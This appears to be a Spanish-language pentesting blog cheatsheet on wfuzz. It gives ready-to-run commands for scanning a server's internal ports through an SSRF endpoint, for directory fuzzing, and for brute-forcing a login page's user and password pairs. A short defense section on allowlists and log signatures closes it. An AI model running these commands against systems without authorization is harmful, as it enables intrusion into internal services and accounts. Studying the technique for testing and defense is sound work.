← Blog

WFuzz — Fuzzing Web y Port Scan vía SSRF

Fuzzing de parámetros y URLs con wfuzz: payloads por rangos (range), filtrado de respuestas (--hl/--hc/--hw), y port scanning interno a través de un SSRF.

1. Operational Scope & Technical Objective

wfuzz fuzza URLs, parámetros y headers sustituyendo la palabra clave FUZZ por cada elemento de un payload. Su uso más rentable en un engagement es el port scan vía SSRF: si un endpoint de la app acepta una URL (parámetro path, url, redirect), el propio wfuzz hace de escáner interno con -z range,1-65535, probando cada puerto de localhost a través de la vulnerabilidad — sin tocar la red interna directamente y sin necesidad de una herramienta de port scanning adicional.

2. High-Impact Syntax & Command Cheatsheet

# Port scan de la máquina interna a través de un SSRF
wfuzz -c --hl=2 -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
#   -c              -> salida con colores (leer de un vistazo)
#   --hl=2          -> oculta las respuestas de 2 líneas (el "no hay servicio" del objetivo)
#   -z range,1-65535-> payload: rango de puertos 1..65535 en FUZZ
#   path=http://localhost:FUZZ -> el SSRF ejecuta la petición a localhost:<puerto>
# Criterio: los puertos que devuelven un tamaño de respuesta distinto al "2 líneas"
# (contenido de error) están abiertos.

# Filtrado por código de estado, palabras o líneas (respuestas "basura")
wfuzz -c --hc=404 -z file,wordlist.txt http://target/FUZZ        # oculta 404
wfuzz -c --hl=3 -z file,wordlist.txt http://target/FUZZ          # oculta resp. de 3 líneas
wfuzz -c --hw=150 -z file,wordlist.txt http://target/FUZZ        # oculta por nº de palabras
#   La página 404 custom del objetivo se filtra por su tamaño/estado fijo

# Fuzzing de directorios con wordlist
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt http://10.10.10.55/FUZZ

# Fuzzing de parámetros/vhosts (payloads múltiples con ,)
wfuzz -c -z file,users.txt -z file,pass.txt http://target/login.php?user=FUZZ&pass=FUZ2Z

3. Real-World Offensive/Defensive Scenarios

SSRF como escáner interno. Con el SSRF confirmado (path=http://localhost:FUZZ), wfuzz mapea los puertos abiertos del localhost del servidor (redis, mysql, servicios de gestión) y, variando la IP, de la red interna. El filtro --hl es la clave: conocer la forma de la respuesta de error del proxy de la app permite separar puertos abiertos de cerrados sin falsos positivos.

Enumeración de directorios con tolerancia a ruido. --hc=404 y --hl/--hw eliminan el "noise" de las páginas de error genéricas; los resultados con tamaño/código distinto son los endpoints reales.

Defensa. El patrón que esta técnica explota es un SSRF sin validación de destino: la defensa es allowlist de hosts internos y bloqueo de rangos RFC1918 en el backend, además de rate-limit por sesión en los endpoints que aceptan URLs. En los logs, el endpoint url.php?path=... con muchas peticiones a localhost:<puerto> secuenciales es la firma exacta de este wfuzz (o de un script equivalente).